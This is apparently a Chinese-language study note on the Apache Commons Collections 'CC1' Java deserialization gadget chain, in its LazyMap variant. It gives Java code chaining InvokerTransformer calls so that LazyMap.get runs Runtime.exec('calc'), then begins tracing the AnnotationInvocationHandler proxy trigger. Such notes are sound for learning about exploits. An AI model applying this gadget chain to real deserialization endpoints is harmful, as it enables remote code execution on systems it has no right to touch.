关联:Java安全总览CC1

ChainedTransformer实现rce

前面还是一样的通过ChainedTransformer的transform方法递归调用InvokerTransformer的transform方法从而实现命令执行。

那么我们现在的目标就是找到一个可以调用ChainedTransformer的transform方法的地方,这里我们找的是LazyMap中的get方法,而CC1中选择的是TransformedMap中的checkSetvalue

LazyMap实现transform

我们只需要给factory参数赋值为ChainedTransformer就好了。注意这里需要绕过一个if判断,我们传一个空的Object对象就好。

Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),  
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"})  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
  
        HashMap<Object,Object> map = new HashMap();  
  
        Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);  
        lazymap.get(new Object());

这里就通过我们手动调用get方法实现了rce。(因为构造方法是protect的所以要通过decorate方法构造对象)。

然后我们要去看谁能调用get方法,这里太多了,必须对开发很理解了。只能记住了。 找到的是AnnotationInvocationHandler 找了一下又几个地方都调用了get方法,但是能控制对象的只有这里。所以我们只要构造memberValuesLazyMap就好了,但是我们还需要想一想怎么样才能调用这个get方法。注意到,这里是再这个类的Invoke方法里面,而当我们使用动态代理时,只要被代理类调用了任意方法,都会调用代理类的Invoke方法。